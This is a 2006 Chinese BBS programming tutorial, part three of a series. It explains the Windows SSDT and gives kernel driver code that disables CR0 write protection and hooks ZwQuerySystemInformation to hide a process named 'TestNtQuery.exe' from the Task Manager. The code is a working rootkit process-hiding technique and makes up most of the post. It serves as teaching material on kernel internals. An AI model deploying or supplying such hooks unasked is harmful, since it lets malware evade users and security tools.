|
珞珈山水BBS →
电脑网络 →
程序人生 →
单文区文章阅读
|
| 单文区文章阅读 [返回] |
|---|
|
发信人: Stravadivaly (老子就是机器人), 信区: Programm 标 题: [原创]伪驱动初级教程3 发信站: BBS 珞珈山水站 (Fri Sep 1 13:56:30 2006) 伪驱动初级教程3 By Stravadivaly 好了,现在你是不是觉得驱动很没用?是不是觉得它就是一好吃懒做的家伙?这次我 们来点刺激的:利用HOOK NtQuerySystemInformation 来隐藏进程。到不是方法很刺激, 这个是很老式隐藏的办法,以至于很多****软件都不用这个。那什么很刺激呢?当然是BS OD了@$#%#%&#%$&…… 1.怎么隐藏: 我们怎么来隐藏进程呢?Windows的任务管理器都是利用NtQuerySystemInformation来 枚举进程的。(不会用NtQuerySystemInformation?网上这样的文章很多,搜搜。)只要 我们在 NtQuerySystemInformation得到的结果中去掉我们要隐藏的进程,再把结果返回 给用户不就行了?怎么干?先来点基础。 2.基础知识——函数调用 所有的Nt* 和 Zw* 都是在内核中实现,而连接内核与用户空间的就是NtDll.Dll. 函数真正实现并不在NtDll.Dll中,而在ntoskrnl.exe中。NtQuerySystemInformation也不 例外。 那么NTDLL.dll干些什么呢? Win32内核API(NtQuerySystemInformation就是内核API )经过Kernel32.dll/advapi32.dll进入NTDLL.dll后使用int 0x2e中断进入内核(WIN 2K),最后在Ntoskrnl.exe中实现了真正的函数调用。 有点迷糊?看看下面的调用关系: Ntdll.dll中是这样的 mov eax, ServiceId //eax存放服务号 lea edx, ParameterTable //edx中存放函数参数 int 2eh //中断,进入内核 ret ParamTableBytes 用户空间 ————————————————————————————————————— 内核空间 系统服务描述表 | ntoskrnl.exe 3.基础知识——系统服务描述表(SSDT, System Service Descriptor Table) 好像也有人把这个叫系统服务调度表(System Service Dispatch Table),或者SDT .注意不要把这里的服务和控制控制面版的服务弄混,是两个概念.它是个什么东西呢?它是 个好东西。我们隐藏文件,隐藏注册表项都可以通过修改它的函数地址来达到目的。一个 SDT在内存中是以这样的结构存放的: Typedef struct _SYSTEM_SERVICE_TABLE{ SYSTEM_SERVICE_TABLE ntoskrnl;//我们关心的 SYSTEM_SERVICE_TABLE win32; //其它的调用 SYSTEM_SERVICE_TABLE table3;//一般不用 SYSTEM_SERVICE_TABLE table4;//一般不用 }SYSTEM_DESCRIPTOR_TABLE,*PSYSTEM_DESCRIPTOR_TABLE; typedef struct SYSTEM_SERVICE_TABLE { unsigned int *ServiceTableBase; //服务描述表 unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; //服务个数 unsigned char *ParamTableBase; //参数表 } SystemServiceTable_t, *PSystemServiceTable_t; 第一个结构的第一项是一个指针,他指向第二个结构。XP系统中有0x11c个第二个结构,也 就是说有0x11c个调用服务,每个服务其实就对应一个内核API, 而且ntoskrnl.exe中导出的 KeServiceDescriptorTable 是一个指向SYSTEM_SERVICE_TABLE的全局变量(指针), 因 而,用KeServiceDescriptorTable. ServiceTableBase可以获得服务号为0x01的函数地址 。KeServiceDescriptorTable. ServiceTableBase[i]就是第i-1个函数地址了。 3.从SDT中取得函数地址: 我们利用SYSCALL. SYSCALL在intel平台是如下定义的: #define SYSCALL(_function) KeServiceDescriptorTable->Servic eTable[ *(PULONG)((PUCHAR)_function+1)] KeServiceDescriptorTableServiceTable->ServiceTable就是我们上 面所述的 ServiceDescriptorTable_t->ServiceTableBase(为了便于描述)。_function+1 即ServiceID所在地址。整个表达式即取得_function对应的System Service的入口地址在 线性内存中的位置。 所以说,只要我们在SDT 中把NtQuerySystemInformation的地址改成我们的函数地址 ,我们不就可以在我们的函数中处理我们需要的信息了?没那么简单,我们继续... 4.基础知识——修改内核 好像也可以叫做直接内核模式修改(DKOM),我们要修改的就是SDT,但是因为有处理 器写保护,直接写入的话会BSOD,有兴趣的朋友可以试下。我们怎么办呢?当然是修改写 标志位了。下面是修改代码: __asm{ mov eax,cr0 mov OldCr0,eax and eax,0fffeffffh mov cr0,eax } 我们都是好孩子,做了坏事痕迹是要擦干净的,所以,修改了SDT之后, 要把写标志位改 回来: __asm { mov eax,OldCr0 mov cr0,eax } gHookFlag = TRUE; return; 5.开始手术 怎么是手术?其实这就是手术,下面是关键代码: #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //Used only in checked build unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() //声明全局变量,它是ntoskrnl中的导出变量 __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; //这个就是根据服务号查找函数地址的宏 #define SYSTEM_SERVICE(p) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)( (ULONG)p+1)] //声明ZwQuerySystemInformation函数原形 NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS S IClass,OUT PVOID SI,IN ULONG SIL,OUT PULONG RL); //定义函数指针 typedef NTSTATUS (*ZW_QUERY_SYSTEM_INFORMATION)(IN SYSTEM_INFORMATION_CLASS SI Class,OUT PVOID SI,IN ULONG SIL,OUT PULONG RL); ZW_QUERY_SYSTEM_INFORMATION OldZwQuerySystemInformation;//用来存放真正的地址, 叛徒都是有用的。 int gHookFlag = FALSE; //设置HOOK标志,避免重复HOOK //我们的替换函数 NTSTATUS NewZwQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SIClass,OUT P VOID SI,IN ULONG SIL,OUT PULONG RL) { NTSTATUS nStatus = STATUS_SUCCESS; int c=0,i=0,bMod; PVOID pBuffer = NULL; PVOID hBuffer; HANDLE hProcess; ANSI_STRING process_name; PSYSTEM_PROCESS_INFORMATION curr,prev; nStatus = OldZwQuerySystemInformation(SIClass,SI,SIL,RL); //当然了,我们要 在我们的替换函数中调用真实的函数,不然,任务管理器就什么进程都显示不了了,而且 很可能BSOD,我们处理的就是它返回的信息. //好了下面就是找出我们要隐藏的进程了 if(NT_SUCCESS(nStatus)){ if( 5 == SIClass ) { curr = (SYSTEM_PROCESS_INFORMATION *)SI; prev = NULL; KdPrint(("rootkit: NewZwQuerySystemInformation()")); while(curr) { bMod = FALSE; RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessNa me), TRUE); if(0 == memcmp( process_name.Buffer, "TestNtQuery.exe", 15)) { KdPrint(("rootkit: hiding process, pid: %d\tname:%s\r\n",c urr->ProcessId, process_name.Buffer)); if(prev)//如果我们不是第一个进程 { if(curr->NextEntryDelta)//也不是最后一个进程 { //隐藏 prev->NextEntryDelta += curr->NextEntryDelta; bMod = TRUE; //修改成功标志 } else { prev->NextEntryDelta = 0; } } else { if(curr->NextEntryDelta) { (char *)SI += curr->NextEntryDelta; } else { SI = NULL; } } } RtlFreeAnsiString(&process_name); prev = curr; if(curr->NextEntryDelta)//向前进 ((char *)curr += curr->NextEntryDelta); else curr = NULL; }//end of while }//end of if }//end of if nStatus KdPrint(("Now The ZwQuerySystemInformation Have Been Hook.\n")); return nStatus; } //开始HOOK void HookUp(void){ ULONG OldCr0; if(gHookFlag == TRUE){ KdPrint(("The Hook Has Been On!\n")); return; } __asm{ mov eax,cr0 mov OldCr0,eax and eax,0fffeffffh mov cr0,eax } OldZwQuerySystemInformation=(ZW_QUERY_SYSTEM_INFORMATION)InterlockedExcha nge((PLONG)&SYSTEM_SERVICE(ZwQuerySystemInformation),(ULONG)NewZwQuerySystemIn formation);//用关键代码,防止打断,保存原始函数地址 __asm { mov eax,OldCr0 mov cr0,eax } gHookFlag = TRUE; return; } //还原,如果不还原的话...你可以试试,我们要有不怕BSOD的精神 void HookDown(void){ ULONG OldCr0; if(!gHookFlag){ KdPrint(("There is No Hook to Unload.\n")); } __asm{ mov eax,cr0 mov OldCr0,eax and eax,0fffeffffh mov cr0,eax } InterlockedExchange((PLONG)&SYSTEM_SERVICE(ZwQuerySystemInformation),(ULON G)OldZwQuerySystemInformation); __asm { mov eax,OldCr0 mov cr0,eax } } -- 是吗? 不是吗? 对吗? 不对吗? 傻吗? ...... 的确很傻. 就像" 树动风欲静, 日涌大山流". ※ 来源:·珞珈山水BBS站 http://bbs.whu.edu.cn·[FROM: 218.247.215.*] |
| [返回单文区目录] |
|
|